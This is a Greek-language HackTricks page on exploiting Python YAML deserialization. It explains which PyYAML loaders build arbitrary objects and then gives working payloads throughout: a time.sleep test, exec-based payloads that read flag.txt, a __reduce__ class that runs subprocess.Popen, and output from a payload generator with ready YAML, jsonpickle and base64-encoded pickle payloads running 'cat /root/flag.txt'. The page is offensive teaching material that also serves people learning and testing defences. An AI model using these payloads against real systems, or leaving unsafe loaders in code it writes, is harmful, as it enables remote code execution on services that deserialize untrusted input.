Python Yaml Deserialization

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Αποσειροποίηση Yaml

Οι βιβλιοθήκες Yaml της python είναι επίσης ικανές να αποσειροποιήσουν αντικείμενα της python και όχι μόνο ακατέργαστα δεδομένα:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Ελέγξτε πώς το tuple δεν είναι ένας ακατέργαστος τύπος δεδομένων και γι' αυτό σειριοποιήθηκε. Και το ίδιο συνέβη με το range (που προέρχεται από τα builtins).

Οι safe_load() ή safe_load_all() χρησιμοποιούν τον SafeLoader και δεν υποστηρίζουν την αποσειριοποίηση αντικειμένων κλάσης. Παράδειγμα αποσειριοποίησης αντικειμένου κλάσης:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Ο προηγούμενος κώδικας χρησιμοποιούσε την unsafe_load για να φορτώσει την σειροποιημένη κλάση Python. Αυτό συμβαίνει επειδή στην έκδοση >= 5.1, δεν επιτρέπεται να αποσειροποιηθεί οποιαδήποτε σειροποιημένη κλάση Python ή γνώρισμα κλάσης, χωρίς να καθορίζεται ο φορτωτής (Loader) στην load() ή Loader=SafeLoader.

Βασική Εκμετάλλευση

Παράδειγμα για το πώς να εκτελέσετε έναν χρόνο αναμονής (sleep):

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Ευάλωτο .load("<περιεχόμενο>") χωρίς Loader

Οι παλαιότερες εκδόσεις του pyyaml ήταν ευάλωτες σε επιθέσεις αποσυσκευασίας αν δεν καθορίζατε τον Loader κατά τη φόρτωση κάτι: yaml.load(data)

Μπορείτε να βρείτε την περιγραφή της ευπάθειας εδώ. Η προτεινόμενη εκμετάλλευση σε αυτήν τη σελίδα είναι:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ή μπορείτε επίσης να χρησιμοποιήσετε αυτό το one-liner που παρέχεται από τον @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Σημείωση ότι σε πρόσφατες εκδόσεις δεν μπορείτε πλέον να καλέσετε το .load() χωρίς ένα Loader και το FullLoader δεν είναι πλέον ευάλωτο σε αυτήν την επίθεση.

RCE

Προσαρμοσμένα φορτία μπορούν να δημιουργηθούν χρησιμοποιώντας τα Python YAML modules, όπως το PyYAML ή το ruamel.yaml. Αυτά τα φορτία μπορούν να εκμεταλλευτούν ευπάθειες σε συστήματα που αποσειριοποιούν μη αξιόπιστη είσοδο χωρίς κατάλληλη απολύμανση.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Εργαλείο για τη δημιουργία Payloads

Το εργαλείο https://github.com/j0lt-github/python-deserialization-attack-payload-generator μπορεί να χρησιμοποιηθεί για τη δημιουργία python deserialization payloads για τη κατάχρηση των Pickle, PyYAML, jsonpickle και ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated